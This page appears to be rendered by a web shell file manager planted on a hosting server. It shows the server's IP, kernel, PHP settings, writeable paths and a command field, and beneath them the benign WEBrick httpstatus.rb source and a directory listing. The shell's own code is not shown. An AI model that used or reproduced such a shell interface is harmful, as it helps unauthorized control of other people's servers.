GRAYBYTE WORDPRESS FILE MANAGER6890

Server IP : 198.54.121.189 / Your IP : 216.73.216.224
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/ruby18/lib64/ruby/1.8/webrick/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/ruby18/lib64/ruby/1.8/webrick//httpstatus.rb
#
# httpstatus.rb -- HTTPStatus Class
#
# Author: IPR -- Internet Programming with Ruby -- writers
# Copyright (c) 2000, 2001 TAKAHASHI Masayoshi, GOTOU Yuuzou
# Copyright (c) 2002 Internet Programming with Ruby writers. All rights
# reserved.
#
# $IPR: httpstatus.rb,v 1.11 2003/03/24 20:18:55 gotoyuzo Exp $

module WEBrick

  module HTTPStatus

    class Status      < StandardError
      def initialize(*args)
        args[0] = AccessLog.escape(args[0]) unless args.empty?
        super(*args)
      end
      class << self
        attr_reader :code, :reason_phrase
      end
      def code() self::class::code end
      def reason_phrase() self::class::reason_phrase end
      alias to_i code
    end
    class Info        < Status; end
    class Success     < Status; end
    class Redirect    < Status; end
    class Error       < Status; end
    class ClientError < Error; end
    class ServerError < Error; end
    
    class EOFError < StandardError; end

    StatusMessage = {
      100, 'Continue',
      101, 'Switching Protocols',
      200, 'OK',
      201, 'Created',
      202, 'Accepted',
      203, 'Non-Authoritative Information',
      204, 'No Content',
      205, 'Reset Content',
      206, 'Partial Content',
      300, 'Multiple Choices',
      301, 'Moved Permanently',
      302, 'Found',
      303, 'See Other',
      304, 'Not Modified',
      305, 'Use Proxy',
      307, 'Temporary Redirect',
      400, 'Bad Request',
      401, 'Unauthorized',
      402, 'Payment Required',
      403, 'Forbidden',
      404, 'Not Found',
      405, 'Method Not Allowed',
      406, 'Not Acceptable',
      407, 'Proxy Authentication Required',
      408, 'Request Timeout',
      409, 'Conflict',
      410, 'Gone',
      411, 'Length Required',
      412, 'Precondition Failed',
      413, 'Request Entity Too Large',
      414, 'Request-URI Too Large',
      415, 'Unsupported Media Type',
      416, 'Request Range Not Satisfiable',
      417, 'Expectation Failed',
      500, 'Internal Server Error',
      501, 'Not Implemented',
      502, 'Bad Gateway',
      503, 'Service Unavailable',
      504, 'Gateway Timeout',
      505, 'HTTP Version Not Supported'
    }

    CodeToError = {}

    StatusMessage.each{|code, message|
      message.freeze
      var_name = message.gsub(/[ \-]/,'_').upcase
      err_name = message.gsub(/[ \-]/,'')

      case code
      when 100...200; parent = Info
      when 200...300; parent = Success
      when 300...400; parent = Redirect
      when 400...500; parent = ClientError
      when 500...600; parent = ServerError
      end

      const_set("RC_#{var_name}", code)
      err_class = Class.new(parent)
      err_class.instance_variable_set(:@code, code)
      err_class.instance_variable_set(:@reason_phrase, message)
      const_set(err_name, err_class)
      CodeToError[code] = err_class
    }

    def reason_phrase(code)
      StatusMessage[code.to_i]
    end
    def info?(code)
      code.to_i >= 100 and code.to_i < 200
    end
    def success?(code)
      code.to_i >= 200 and code.to_i < 300
    end
    def redirect?(code)
      code.to_i >= 300 and code.to_i < 400
    end
    def error?(code)
      code.to_i >= 400 and code.to_i < 600
    end
    def client_error?(code)
      code.to_i >= 400 and code.to_i < 500
    end
    def server_error?(code)
      code.to_i >= 500 and code.to_i < 600
    end

    def self.[](code)
      CodeToError[code]
    end

    module_function :reason_phrase
    module_function :info?, :success?, :redirect?, :error?
    module_function :client_error?, :server_error?
  end
end

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 03 2024 22:48:17
root / root
0755
httpauth
--
March 03 2024 22:48:14
root / linksafe
0755
httpservlet
--
March 03 2024 22:48:14
root / linksafe
0755
accesslog.rb
2.246 KB
June 23 2011 09:44:05
root / linksafe
0644
cgi.rb
6.915 KB
February 12 2007 23:01:19
root / linksafe
0644
compat.rb
0.426 KB
February 12 2007 23:01:19
root / linksafe
0644
config.rb
3.135 KB
February 12 2007 23:01:19
root / linksafe
0644
cookie.rb
3.032 KB
February 12 2007 23:01:19
root / linksafe
0644
htmlutils.rb
0.57 KB
February 12 2007 23:01:19
root / linksafe
0644
httpauth.rb
1.31 KB
February 12 2007 23:01:19
root / linksafe
0644
httpproxy.rb
7.46 KB
June 06 2008 08:05:24
root / linksafe
0644
httprequest.rb
9.99 KB
November 22 2010 07:22:01
root / linksafe
0644
httpresponse.rb
7.961 KB
August 16 2010 07:31:35
root / linksafe
0644
https.rb
1.639 KB
December 20 2010 16:55:16
root / linksafe
0644
httpserver.rb
5.632 KB
February 12 2007 23:01:19
root / linksafe
0644
httpservlet.rb
0.653 KB
February 12 2007 23:01:19
root / linksafe
0644
httpstatus.rb
3.51 KB
June 10 2010 05:23:49
root / linksafe
0644
httputils.rb
9.964 KB
January 10 2010 10:30:06
root / linksafe
0644
httpversion.rb
1.115 KB
February 12 2007 23:01:19
root / linksafe
0644
log.rb
2.034 KB
February 12 2007 23:01:19
root / linksafe
0644
server.rb
5.279 KB
February 12 2007 23:01:19
root / linksafe
0644
ssl.rb
4.222 KB
November 22 2010 07:21:52
root / linksafe
0644
utils.rb
2.543 KB
June 06 2012 05:20:08
root / linksafe
0644
version.rb
0.343 KB
February 12 2007 23:01:19
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF